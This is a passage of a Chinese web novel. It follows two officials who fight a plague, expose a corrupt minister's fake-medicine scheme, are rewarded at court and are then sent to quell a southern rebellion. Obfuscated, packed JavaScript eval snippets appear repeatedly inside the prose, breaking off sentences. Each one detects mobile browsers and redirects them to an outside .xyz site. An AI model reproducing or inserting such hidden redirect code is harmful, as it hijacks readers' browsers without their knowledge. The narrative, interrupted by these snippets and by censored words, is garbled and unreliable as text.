“雍州之事,关乎万民。黎音袅与江令舟是否有罪,不能仅凭诸位几本奏章臆断。”皇帝的声音不高,却带着不容置喙的威严。“此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548010|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,朕自有决断。” 他看向身旁的内侍统领:“传朕旨意,着皇城司即刻派人,秘密前往雍州,彻查此事。在皇城司回报之前,所有**暂且留中不发。” “陛下!”于孟清还想再言。 “退朝。”皇帝没有给他机会,起身离开了龙椅。 群臣躬身行礼,心思各异。皇帝没有立刻定罪,但也并未完全否定**,而是动用了直属的皇城司。这潭水,看来比他们想象的还要深。 雍州大营。 黎音袅正对着一份药物消耗清单,眉头紧锁。张军医找到了缓解病症的方法,但需要的几味药材消耗极大,营中储备正在快速见底。 “郡主,”陈主簿拿着一份公文走进来,“刚收到的消息,下一批朝廷调拨的药材和粮食,可能会延迟抵达。” 黎音袅抬起头:“延迟?为何?” “公文上只说是途中转运出了些岔子,具体原因并未详述。”陈主簿将公文递给她。 黎音袅接过,快速浏览了一遍,上面是官样文章,语焉不详。又是岔子?她放下公文。 “知道了。” “郡主,这……”陈主簿有些担忧,“药材本就紧张,若是接济不上……” “催促也没用。”黎音袅打断他,“我们自己想办法。营中还有多少能用的替代草药?让张军医再清点一遍。另外,组织人手,在附近山林搜寻,看是否能找到所需药材。” “是。”陈主簿应下,退了出去。 帐内只剩下黎音袅一人。她走到桌边,拿起那份记录了柳成峰罪证的账本副本。赵武已经走了好几天,京城那边,现在是什么光景? 江令舟从帐外走了进来。 “药材运输延误了。”黎音袅说。 “意料之中。”江令舟回答。 黎音袅看向他:“柳成峰开始动手了?” “可能。”江令舟走到她身边,“京城的消息传过来需要时间,但阻碍补给,是最直接有效的手段。” 他看着桌上的账本副本:“我们能做的,就是守好这里,等。” 黎音袅没有说话,手指拂过账本的封面。 等待,有时比行动更磨人。 她拿起笔,准备处理下一份文件。 第75章 抉择 夜色笼罩皇宫,御书房内烛火通明。 皇帝独坐案后,面前摊开的是几份奏章,字字句句**黎音袅与江令舟。另一侧,放着一份并不起眼的密报,内容却直指户部尚书柳成峰与所谓的“济世堂”。 信任与猜忌,在帝王心中交织。黎音袅是他看着长大的,江令舟的忠诚,他亦有所闻。那份来自雍州的账本副本,细节详实,不似伪造。可柳成峰,盘踞朝堂多年,根基深厚,贸然动他,引起的震荡难以预料。于孟清等人的**,究竟是出于公心,还是受人指使,抑或两者皆有? 他拿起那份关于柳成峰的密报,指尖划过“济世堂”三个字。这并非普通的慈善名号,背后牵扯的利益网,恐怕比想象中更密。雍州之事,绝非仅仅是赈灾不力那么简单。 “来人。”皇帝的声音打破了书房的寂静。 内侍统领悄无声息地出现在门口:“陛下。” “传皇城司指挥使,立刻进宫,便服,密道。” “遵旨。”内侍统领躬身退下。 皇帝靠在椅背上,闭上眼。调动皇城司,意味着此事已提升至最高等级。这支只对他一人负责的力量,将是揭开迷雾的利刃。但他需要时间,需要皇城司带回确凿的证据,足以一击致命,且能堵住悠悠众口的证据。 不久,一个身着寻常青衣,面容普通的男子被内侍统领引了进来,正是皇城司指挥使赵霖。 “臣赵霖,参见陛下。”赵霖跪倒行礼。 “平身。”皇帝示意他上前。“有件事,需你亲自去办,而且要快,要密。” “请陛下吩咐。”赵霖站起身,垂手肃立。 皇帝将那份关于柳成峰的密报推向他:“雍州之事,你已知晓大概。朕要你立刻抽调精锐,秘密前往京畿及周边,彻查户部尚书柳成峰,以及这个‘济世堂’。” 他点了点密报上的名字:“查清‘济世堂’的底细,资金来源,往来人员,与柳成峰究竟有何关联。特别是其在各地药材、粮食生意上的动作,务必查个水落石出。” 赵霖接过密报,快速扫了一眼,脸上没有任何表情变化:“臣领旨。是否需要与雍州那边联系?” “不必。”皇帝摇头,“雍州那边,朕自有安排。你们的任务,就是京城这条线。记住,此事绝不可走漏半点风声,尤其是不能让柳成峰察觉。” “臣明白。臣即刻去办。”赵霖将密报收入怀中。 “柳成峰在朝中党羽众多,你们行事务必小心。”皇帝补充了一句。 “陛下放心,皇城司的人,知道该怎么做。”赵霖再次行礼,随内侍统领悄然退下。 御书房重归寂静。皇帝拿起朱笔,却并未批阅奏折,只是在指间缓缓转动。他在等,等赵霖的消息,也在等雍州那边的动静。这盘棋,牵一发而动全身,落子必须谨慎。 次日清晨,例行的早朝气氛有些微妙。关于雍州的**虽然被暂时留中,但朝臣们,特别是以于孟清为首的言官,以及与柳成峰关系密切的官员,显然并未就此罢休。 几项常规议题过后,户部尚书柳成峰出列奏事,汇报了近期漕运及国库收支情况,条理清晰,数据详实,一如既往地展现着他干练可靠的一面。 汇报完毕,柳成峰并未立刻退下,反而话锋一转:“陛下,臣听闻雍州赈灾药材、粮食运输途中屡有耽搁,致使灾情缓解缓慢。臣以为,此事关乎万千灾民性命,朝廷补给线乃是重中之重,绝不容有失。是否应增派人手,加强监管,确保物资顺利抵达?” 这番话听似公允,却隐隐将矛头指向了负责此事的黎音袅和江令舟调度不力。 皇帝看着他,脸上没有任何表情:“柳卿所言有理。补给线确实重要。” 他顿了顿,看向兵部尚书:“兵部,即刻协调沿途卫所,加派人手护送后续赈灾物资,若再有延误,唯尔等是问。” “臣遵旨!”兵部尚书立刻应下。 皇帝的视线重新回到柳成峰身上:“至于监管,皇城司已在彻查此事原委。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548011|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果出来之前,诸卿不必过多揣测。” 皇城司三个字一出,殿内气氛骤然一紧。柳成峰眼底深处掠过一丝不易察觉的波动,但面上依旧恭谨:“陛下圣明。臣只是忧心灾民,绝无他意。” “柳卿忠君体国之心,朕知晓。”皇帝语气平淡,“但眼下,更重要的是各司其职,维持朝局稳定,勿要自乱阵脚。” 这句话,不轻不重,却让一些心思浮动的大臣心头一凛。皇帝这是在敲打他们,不要在皇城司调查期间轻举妄动。 “陛下教诲的是,臣等谨记。”柳成峰躬身应道。 站在柳成峰身后的于孟清张了张嘴,似乎想说什么,但最终还是没有开口。皇帝的态度很明确,暂时不许再纠缠雍州之事。 皇帝的目光扫过下方:“雍州水深,京城的水,也不能浑。诸位爱卿,当以国事为重,以百姓为念。” 他内心清楚,柳成峰刚才的发言,既是试探,也是一种变相的施压。他提及补给线问题,或许正是因为他自己就在这条线上动了手脚,此刻是想撇清关系,或是试探皇帝是否已经掌握了什么线索。 皇帝没有再给众人议论的机会:“今日议事至此。退朝。” 群臣躬身行礼,陆续退出大殿。柳成峰走在人群中,脸色平静,但脚步比往常略快了几分。皇帝动用皇城司查补给线,这超出了他的预料。他需要尽快弄清楚,皇帝究竟知道了多少,皇城司的调查方向到底是什么。 皇帝独自走回御书房,内侍端上参茶。 他没有碰那杯茶,只是走到窗边,望着宫外的天空。南方的雍州,此刻正值酷暑疫病交加之际,黎音袅和江令舟面临的压力,他能想象。而京城,看似平静的朝堂之下,暗流汹涌。 他必须稳住局面,在皇城司带回足以定鼎的证据之前,压制住所有可能爆发的冲突。柳成峰绝不会坐以待毙,接下来,他会做什么?是会收敛,还是会更疯狂地反扑? 皇帝拿起桌上一份关于京畿防务的文书。 第76章 危机 南方营地的暑气混着腐朽和草药的味道,令人窒息。 营帐区外围,新添的土坟又多了几座。抬尸的役夫脚步沉重,经过的人群自动分开一条路,脸上是麻木和恐惧交织的神情。疫病并未因黎音袅和江令舟的不眠不休而退却,药材的匮乏是悬在每个人头顶的利刃。 “又一个…今天第三个了。”有人低声说。 “说是昨天还好好的,夜里就不行了。” “药呢?黎大人不是说药材就快到了吗?” “快到了?这话听了多少遍了!我看是根本到不了!”一个尖利的声音插了进来,说话的是个颧骨高耸的男人,姓赵,据说是从下游村子逃难过来的,“我看,不是药材到不了,是有人不想让我们拿到!” 他这话一出,周围的气氛变了。恐慌中掺杂了愤怒。 江令舟正好带着几个兵士巡查营地卫生,听到这话,停下脚步。“赵老七,休得胡言!朝廷的药材、粮食一直在路上,从未断绝。只是路途艰难,损耗在所难免。” 赵老七立刻转向他:“江大人,你说得轻巧!损耗?我看是克扣吧!不然为何每次送来的药材都少得可怜,还多是些不顶用的便宜货?真正救命的药,怕是都被你们留在后头,或是转手卖了吧!” “放肆!”江令舟呵斥,“救灾物资账目清晰,皆有记录可查。你再敢妖言惑众,休怪我不客气!”他心里清楚,近几批送来的药材确实品质不佳,甚至有些隐有霉变,但他不能在此刻承认,那只会引发更大的混乱。这些细节,他已密报给黎音袅,两人都觉得事情不对劲。 “我妖言惑众?”赵老七冷笑,“大家看看!我们在这里等死,人家官老爷吃穿不愁!凭什么?就凭他们投了个好胎?这疫病要是发生在京城,药材还会这么慢吗?还会缺吗?” 这话极具煽动性,戳中了灾民们内心深处的不公和绝望。人群开始骚动,一些人看向江令舟的眼神充满了怀疑和敌意。 “江大人,赵老七说的是不是真的?” “我们的药材是不是真的被克扣了?” “让我们看看账本!” “对!看账本!” 几个兵士紧张地护在江令舟身前,手按在了刀柄上。 “都住口!”黎音袅的声音传来。她刚从诊病的帐篷出来,脸上带着疲惫,但语气不容置疑。“账本可以看,但不是现在。眼下最重要的是控制疫病,不是自乱阵脚。” 她走到人群前面,直面赵老七:“你说药材被克扣,可有证据?” 赵老七梗着脖子:“证据?这么多天药材运不到,**这么多人,就是证据!黎大人,你别官官相护了!我看你和江大人就是一丘之貉!” “我们若真是克扣药材,何必还留在这里,与各位一同承担风险?”黎音袅反问,“雍州如今是什么地方,你们清楚,我们更清楚。若非心系灾民,谁愿意待在这疫病横行之地?” 她的话让一部分人冷静下来,但赵老七显然不肯罢休。 “说得好听!谁知道你们安的什么心?也许是想捞取功绩呢?拿我们的命去铺你们的青云路!”他唾了一口,“我看,你们根本没能力控制住疫病!不如趁早滚出雍州,让朝廷换有本事的人来!” “滚出去!”人群中有人跟着喊。 “对!滚出去!” “换人!换人!” 喊声越来越大,情绪如同即将决堤的洪水。黎音袅站在那里,没有后退。她看向那些被煽动起来的灾民,许多面孔她都认得,前几天还对她和江令舟感激涕零,此刻却变得面目狰狞。人心易变,尤其是在生死边缘。 她内心升起一股寒意。这绝非简单的民怨。赵老七出现得太巧,煽动的话术也太精准,句句都打在灾民最痛的地方。雍州的补给线出问题,京城那边柳成峰刚刚发难…这两者之间,是否有关联? “诸位,”黎音袅提高声音,“我知道大家心急,害怕。但越是这个时候,越要相信朝廷,相信我们。我和江大人在此承诺,只要还有一分力气,就绝不会放弃任何一个病人。后续的药材和粮食正在加紧运送,请大家再给我们一点时间。” “时间?我们没有时间了!”赵老七嘶喊,“每天都有人死!再等下去,我们都得死在这里!”他转向人群,“大家说,是不是这个理?” “是!” “不能再等了!” “把他们赶走!” 几个情绪激动的灾民开始往前拥挤,兵士们立刻组成人墙,场面一触即发。 江令舟走到黎音袅身边,低声说:“大人,不能再让他们鼓噪下去。我怀疑这姓赵的是故意挑事。” 黎音袅没有看他,视线依然落在赵老七身上。“我知道。”她回应,“但强行压制,只会适得其反。”她心里快速权衡。硬压,可能导致**,局面彻底失控;退让,则意味着前功尽弃,营地秩序崩溃,疫病将更加无法收拾。而且,一旦他们示弱,背后煽动的人只会更加得寸进尺。 “赵老七,”黎音袅再次开口,声音平静,“你说我们救灾不力。那你告诉我,若我们走了,谁来给你们诊病?谁来分发仅有的药材和粮食?谁来维持营地秩序?是你吗?” 赵老七一时语塞。 黎音袅继续说:“你煽动大家,于事何补?只会让营地更乱,让病人得不到及时救治。若你真有心为大家好,就该协助我们,安抚人心,共渡难关,而不是在这里制造混乱。” 她的话让骚动的人群稍稍停滞。一些人开始思考,赶走了黎音袅和江令舟,情况真的会变好吗? 就在这时,一个负责管理药材库房的小吏匆匆跑来,脸色苍白:“黎大人,江大人,不好了!库里…库里刚清点出来的一批人参,全都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎音袅没有给他继续煽动的机会,她走到临时搭建的高台上,面对着所有营地里的灾民:“我知道你们的苦,你们的怕。但混乱解决不了任何问题!只会让更多人死去!从现在起,营地加强管制。我们会尽快查明人参之事,也会尽最大努力去获取新的药材。在此之前,请各位克制!若有人蓄意生乱,破坏赈灾,我黎音袅绝不姑息!” 她站在高台上,身形单薄,声音却传遍了营地一角。 人群安静下来,但气氛依旧紧绷。赵老七混在人群中,眼神阴鸷。 黎音袅走下高台,一名亲信低声靠近:“大人,赵老七那边……” “派人盯紧他。”黎音袅吩咐,没有多余的话。她走向诊疗区,那里还有无数病患在等待。京城的暗流,已经涌到了雍州。 第78章 密信 营地中央的空地上,火把噼啪作响。 黎音袅和江令舟回来了。他们没有多余的言语,只带回了几卷查抄的账簿和药材残渣证物。江令舟下令,将所有还能走动的人,无论病患家属还是兵士,都召集到空地前。 人很快聚拢,带着疑惑、疲惫,还有对昨夜神秘药方的议论。赵老七混在人群里,眼神闪烁,嘴角撇着,准备随时挑事。 “诸位,”黎音袅站到高处,声音不高,却清晰地传到每个人耳中,“雍州这场疫病,并非天灾。” 一言既出,人群顿时骚动。不是天灾?那是什么? 黎音袅示意江令舟。江令舟上前一步,展开一份从“济世堂”搜出的密信副本。“京城‘济世堂’,柳成峰,以劣药换良药,牟取暴利,致使疫病蔓延,此为其罪证。” 他简略说明了查抄过程和发现。人群先是寂静,随即爆发出巨大的哗然。 “济世堂?那个活菩萨?” “他们怎么敢!” “柳成峰!杀千刀的!” “我就说!我就说不是普通的病!” 愤怒的情绪像野火一样蔓延。有人捶胸顿足,有人破口大骂。那些失去亲人的人,更是哭喊着要找柳成峰偿命。 “官府定会严惩此獠。”黎音袅接话,“但眼下,我们还有更重要的事。” “大人!就这么算了?我们**那么多人!”一个失去儿子的中年男人冲出来,双眼通红。 “不算。”黎音袅看着他,“查清真相,惩治罪魁,是为了告慰逝者,也是为了让活着的人安心。但现在,疫病未除,我们必须先活下去。” 赵老七在人群后阴阳怪气地开口:“说得好听!谁知道这是不是你们官官相护,找个替罪羊出来?” 立刻有人附和:“对啊!凭什么你们说什么就是什么?” 江令舟冷冷看向赵老七:“证据在此。若是不信,自可上前查验。但若再妖言惑众,扰乱军心民心,休怪军法无情。” 赵老七缩了缩脖子,不敢再多言。 黎音袅继续:“柳成峰的罪行不止于此。他背后牵扯甚广,恐涉及京中势力。此事,必须彻查。”她看向江令舟,“江将军,你带一队精锐,即刻返回京城,深入调查柳成峰的关系网,务必找到更多证据,将所有牵涉其中的人,一网打尽。” “是!”江令舟领命。他清楚此行的重要性。这不仅是为雍州百姓讨公道,更可能牵扯到朝堂的稳定。 “我留在营地,”黎音袅转向众人,“根据从‘济世堂’获取的线索,以及昨夜送来的药方,我们会调整救治方案。大夫们会尽力,你们也要配合。加强隔离,注意清洁。只要我们同心协力,一定能渡过难关。” 她的话语没有华丽的辞藻,却带着一种让人信服的力量。经历了绝望和愤怒,残存的理智告诉人们,眼下最重要的是活命和配合。 “我们信大人!” “大人一定要为我们做主啊!” “我们听大人的!” 人群的情绪逐渐平复,开始在兵士的引导下散去,准备接受新的安排。 江令舟没有立刻离开,他走到黎音袅身边:“京城水深,我会小心行事。营地这边,你要多加保重。赵老七之流,不可不防。” 黎音袅:“放心。这里交给我。你此去,不仅是为了雍州,也是为了陛下。对方既然敢在南境制造混乱,其心可诛。”她心里想,这盘棋越来越大了,柳成峰恐怕只是其中一颗比较显眼的棋子。那个送药方的神秘人,又在其中扮演什么角色? 江令舟:“我即刻出发。” 黎音袅点头。看着江令舟带着人消失在夜色中,她转身走向诊疗区。新的药方需要根据“济世堂”的劣药成分进行微调,以适应已经服用过劣药的病患体质。同时,昨夜那神秘药方中的几味特殊药材,也需要仔细研究,或许能找到克制疫病的更好方法。 她组织起一些身体尚可的妇人,负责熬制汤药和照顾轻症病人。营地的秩序在她的调度下,重新建立起来。尽管资源匮乏,人心惶惶,但查明部分真相,至少给了人们一个宣泄和寄望的出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548014|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 日子一天天过去。营地里,新药方的效果比之前单纯使用神秘药方更加稳定。重症病患的数量开始下降,死亡的阴影不再像之前那样浓重。黎音袅几乎不眠不休,每日穿梭于病患之间,检查恢复情况,调整治疗细节。她清瘦了许多,但眼神却愈发锐利。 期间,赵老七依然试图煽动不满,抱怨药苦、抱怨隔离、抱怨官府行动迟缓。但大多数人经历了生死,又看到了希望,不再轻易被他蛊惑。几次挑唆不成,反被众人斥责,他也只得暂时蛰伏。黎音袅知道这种人不会安分,吩咐亲信暗中盯紧。 半月后,京城方向终于传来消息。江令舟回来了。 他风尘仆仆,面色凝重,直接来到黎音袅的临时指挥处。 “如何?”黎音袅递过一杯水。 江令舟一口饮尽,将一个沉甸甸的布包放在桌上:“查到了。柳成峰背后,不止一股势力。” 黎音袅打开布包,里面是厚厚一叠文书和供状。 江令舟:“柳成峰勾结了数位朝中官员,还有江湖组织‘风雨楼’。他们利用‘济世堂’在南方的药行网络,故意散播劣药,制造疫病恐慌,目的是扰乱南方漕运和税收,同时嫁祸给你和地方官员,削弱陛下对南方的控制。” “风雨楼…”黎音袅念着这个名字。这是一个行事隐秘、势力庞大的江湖组织,极少牵涉朝堂之事。这次居然也入局了。 “他们的最终目的,恐怕不仅仅是削弱。”黎音袅翻看着那些触目惊心的证据,“柳成峰只是被推到明面上的卒子。京城那些人,还有风雨楼,所图更大。” 江令舟:“这些证据足以将柳成峰和部分涉事官员定罪。但要挖出幕后主使,还需要更多时间和手段。” 黎音袅:“足够了。先把这些证据呈上去。至少能让陛下看清一部分人的嘴脸,也能给雍州百姓一个交代。”她心里清楚,这份证据递上去,京城必将掀起一场风暴。 她合上布包:“事不宜迟,我们即刻准备,将证据呈送回京。” 江令舟点头。 第79章 狡辩 马车抵达京城,没有片刻停留,直接驶向皇宫。 黎音袅和江令舟带着布包,在宫门外下了车。天色尚早,宫城笼罩在晨曦中。他们穿过层层宫门,被引至御书房外等候传召。 不多时,内侍出来宣召。两人进入御书房。皇帝坐在案后,面色平静。 “臣黎音袅、臣江令舟叩见陛下。” “平身。”皇帝抬手,“雍州之事,可有眉目了?” 江令舟上前一步,将手中沉重的布包呈上。“回禀陛下,臣等已查明真相。” 黎音袅接话:“南境疫病,非天灾,实乃人祸。” 皇帝的目光落在布包上。“细说。” 黎音袅打开布包,取出里面的文书和供状。“主谋乃原南境总督柳成峰。他勾结朝中官员及江湖组织‘风雨楼’,利用‘济世堂’散播劣药,制造疫病。这是他的供状,以及查获的往来书信和账簿。” 她将证据一一展开,放在皇帝面前的御案上。皇帝拿起一份供状,快速浏览。他的手指在纸页上移动,速度越来越快。 “风雨楼?”皇帝的声音低沉。 “是。”江令舟回答,“他们提供了部分药材和人手,协助柳成峰行事。” 黎音袅补充:“他们的目的,是扰乱南境漕运和税收,嫁祸于臣与地方官员,削弱朝廷对南境的控制。” 皇帝放下供状,看向两人。“仅仅是为了削弱控制?” 黎音袅心里想,皇帝果然看出了更深层次的东西。她直言:“臣认为,柳成峰只是明面上的棋子。京城中与他勾结的官员,以及‘风雨楼’,所图更大。” “更大?”皇帝的声音里听不出情绪。 “或为谋取私利,或为…动摇国本。”黎音袅说出后半句时,声音放轻了一点。 御书房内陷入短暂的沉默。皇帝的目光在证据和黎音袅之间来回移动。 “这些证据…确凿吗?”皇帝问。 “确凿。”江令舟回答,“臣亲自审问,多方印证,无一疏漏。” 皇帝起身,走到窗边,负手而立。窗外的阳光照进室内,落在他的龙袍上。 黎音袅心里想,皇帝在权衡。这些证据牵扯甚广,一旦公开,朝局必然动荡。但若不公开,南境之事无法平息,幕后主使依然逍遥法外。 “好。”皇帝转过身,面色冷峻,“即刻传旨,召集内阁、六部尚书、都察院左右都御史,即刻入宫,御书房议事!” 内侍领命匆匆而去。 很快,朝中重臣陆续赶到御书房。他们看到黎音袅和江令舟也在,都露出惊讶的神色。 皇帝没有多余的寒暄,直接将柳成峰的供状和部分证据发给众人传阅。 “你们自己看。”皇帝的声音带着一丝压抑的怒气。 御书房内响起纸张翻动的声音。大臣们的脸色各异,有人震惊,有人沉思,有人则不动声色。 吏部尚书看罢,拱手道:“陛下,若此证属实,柳成峰罪无可赦。” “自然属实。”皇帝冷声,“黎音袅、江令舟,将你们查到的,向诸位大人再说一遍。” 黎音袅和江令舟便将南境疫病爆发、劣药祸害、柳成峰勾结风雨楼及朝中官员的始末,言简意赅地复述了一遍。 “柳成峰,他竟敢如此!”户部尚书拍案而起,“南境漕运乃国之命脉,税收更是军国所需!他此举,形同叛国!” 有人附和,有人则保持沉默。其中一位老臣,刑部尚书,缓缓开口:“陛下,柳成峰乃一方大员,此事非同小可。证据虽有,但仅凭供状,恐难服众。且牵扯官员众多,需谨慎处置。” 黎音袅心里想,这是要给柳成峰开脱,或者至少是想压下此事,避免牵连更多人。 江令舟上前一步,语气平静:“刑部尚书大人,证据不止柳成峰的供状。这是我们从柳府和‘济世堂’查抄的账簿、书信,以及部分涉案官员的往来记录。其中详细记载了他们如何利用劣药、如何操纵药价、如何转移赃款,甚至包括与风雨楼接头的暗号和地点。” 他将更多的证据呈上。这些铁证如山,让原本想为柳成峰辩护的大臣无法开口。 皇帝看着那些证据,脸色越来越沉。他指着证据,对刑部尚书说:“刑部尚书,这些够了吗?” 刑部尚书额头冒汗,低头道:“足够了…臣失言。” 皇帝深吸一口气,猛地一拍桌案,发出巨大的砰声。“柳成峰!朕待他不薄,他竟敢如此!” 他扫视了在场的大臣一眼,“还有你们!与柳成峰有牵连者,自己站出来!” 御书房内死寂一片,没有人动。 皇帝冷笑一声。“好!很好!黎音袅、江令舟,你们做得很好。查明真相,揭露奸佞,这是大功!” “臣等职责所在。”黎音袅和江令舟齐声应道。 “柳成峰及其党羽,即刻逮捕,交由刑部、都察院会同审理,务必彻底查清,一个不漏!”皇帝下旨。 “至于你们…”皇帝看向黎音袅和江令舟,“南境疫病能得控制,百姓得以活命,皆赖你们之功。黎音袅,你调度有方,医术高明,救治万民,朕封你为…正三品太医院院判,赐黄金百两,锦缎十匹。江令舟,你查案有功,果断高效,朕封你为…正四品大理寺少卿,赐黄金百两,宝刀一口。” 封赏一下,群臣皆惊。太医院院判地位尊崇,大理寺少卿更是要职。黎音袅一个女子,竟能位列三品,闻所未闻。江令舟年纪轻轻,便入大理寺任职,前途无量。 黎音袅心里想,这个赏赐,既是肯定,也是一种保护。将她纳入朝廷体系,便是将她置于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548015|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝的羽翼之下。大理寺少卿,则能让江令舟继续追查幕后。 “谢陛下隆恩!”两人跪下谢恩。 廷议结束,群臣鱼贯而出。走出御书房,大臣们的目光落在黎音袅和江令舟身上,有的带着审视,有的带着忌惮,有的则带着明显的敌意。 一位与柳成峰素有往来的官员,经过黎音袅身边时,冷哼一声,拂袖而去。 黎音袅心里想,柳成峰只是倒了,但他背后的人还在。今日这一出,只是掀开了冰山一角。 江令舟走到黎音袅身边,声音低沉:“柳成峰倒了,但那些名单上的官员…还有风雨楼,不会善罢甘休。” 黎音袅点头。“我知道。今日朝堂上的反应,你看到了。有些人急于撇清关系,有些人则…怕是被牵连。” “还有皇后。”江令舟突然说。 黎音袅心里一凛。核心剧情中提到了皇后。“皇后怎么了?” “柳成峰是太子一系的人。”江令舟压低声音,“太子失势后,皇后一直在寻找机会。柳成峰是她安插在南境的重要棋子。现在这颗棋子被拔了,她不会轻易罢休。” 黎音袅心里想,原来如此。柳成峰的倒台,直接触动了皇后的利益。这盘棋,果然牵扯到了宫廷内部的权力斗争。 “她会怎么做?”黎音袅问。 “不知道。”江令舟摇头,“但她不会坐以待毙。她或许会想办法保住部分党羽,或许会…对付我们。” “对付我们?”黎音袅重复了一遍。她心里想,这是意料之中的事。自己和江令舟,是扳倒柳成峰的关键人物,自然会成为那些人的眼中钉。 “我们现在的位置,很显眼。”江令舟说,“太医院院判,大理寺少卿…我们被推到了风口浪尖。” 黎音袅心里想,皇帝的赏赐,既是荣耀,也是束缚。他们现在的一举一动,都会被无数双眼睛盯着。 “显眼也好。”黎音袅说,“至少我们有了更便利的身份,继续查下去。” 江令舟看着她,没有说话。 两人走出宫门,京城的喧嚣扑面而来。但黎音袅的心里,却感受到了另一股暗流正在涌动。柳成峰的倒台,只是一个开始。更大的风暴,还在后面。 “接下来,我们该做什么?”江令舟问。 黎音袅看向远方,那里是皇宫深处。“接下来…走一步,看一步。” 她知道,京城的危险,比南境的疫病更难缠。在这里,人心比病毒更可怕。 “先回府吧。”黎音袅说。 江令舟点头。两人上了马车。马车缓缓启动,融入京城的车流。黎音袅坐在车里,手里还拿着那份沉甸甸的布包。里面的证据,虽然扳倒了柳成峰,却也为他们引来了新的危机。 她心里想,这场仗,才刚刚开始。 第80章 叛乱 圣旨来得快,黎音袅和江令舟刚回到各自府邸不久。 圣旨内容简短,南方数地因灾情和疫病引发动荡,有匪类趁机作乱,烧杀抢掠,民不聊生。皇帝命黎音袅以太医院院判身份随军,负责安抚灾民、诊治伤病;命江令舟以大理寺少卿身份随军,协助**叛乱,整肃法纪。即刻准备,三日内启程。 黎音袅手里拿着圣旨,手指摩挲着明黄的布料。她心里想,这是意料之外,也在情理之中。柳成峰倒了,南方的局面不会立刻平静。但这么快就派他们去,速度有些快。 她去了江府。江令舟也在书房里看着同样的圣旨。 “你收到了。”黎音袅开口。 江令舟点头:“刚到。圣旨说,三日后启程。” “三日。”黎音袅重复这个时间,“这不像平叛的准备时间。” “确实。”江令舟走到窗边,看着外面的庭院,“京城到南方,路途遥远。调集兵马、粮草、物资,三日太仓促。” 黎音袅心里想,皇帝急着让他们离开京城。为什么?是想让他们去平叛,还是想让他们远离京城的漩涡? “这次叛乱…你觉得是偶然吗?”黎音袅问。 江令舟转身,看着她:“你觉得不是?” “疫病、灾情是真,百姓困苦也是真。”黎音袅说,“但这么快就组织成势,还打着为民**的旗号,却行烧杀之事…背后恐怕有人推波助澜。” “皇后的人?”江令舟说出这个名字。 黎音袅心里一动。她心里想,江令舟想到了这一点。 “柳成峰是皇后在南方的棋子。”黎音袅说,“他倒了,皇后不会甘心。她需要新的力量,或者…制造新的混乱。” “制造混乱,然后呢?”江令舟问。 “混乱中,可以转移视线。”黎音袅心里想,也可以趁机做些别的。比如,清理掉一些人,或者安插新的人手。 “把我们派去南方,是想让我们去平叛,还是想把我们调开?”江令舟的声音低沉。 黎音袅心里想,这是关键问题。如果只是平叛,为何如此仓促?如果想调开他们,南方又有什么等着他们? “都有可能。”黎音袅说,“平叛是真,南方确实需要人去稳住局面。但同时,我们在京城,对某些人来说是个威胁。” “太医院院判,大理寺少卿。”江令舟说,“这两个位置,让我们能接触到很多东西。” 黎音袅心里想,这两个位置,也让他们更容易被攻击。在京城,明枪暗箭防不胜防。去了南方,远离京城,或许能避开一些眼前的危险,但也可能陷入更大的陷阱。 “这次去南方,恐怕比上次更难。”黎音袅说。 “上次是疫病,是自然灾害。”江令舟说,“这次是人祸。人心比病毒更难测。” 黎音袅心里想,确实如此。面对疫病,她有医术。面对人心的险恶,医术无用。 “圣旨里说,你负责安抚百姓、诊治伤病。”江令舟说,“我负责**叛乱、整肃法纪。” “分工明确。”黎音袅说,“但我们是一个整体。” 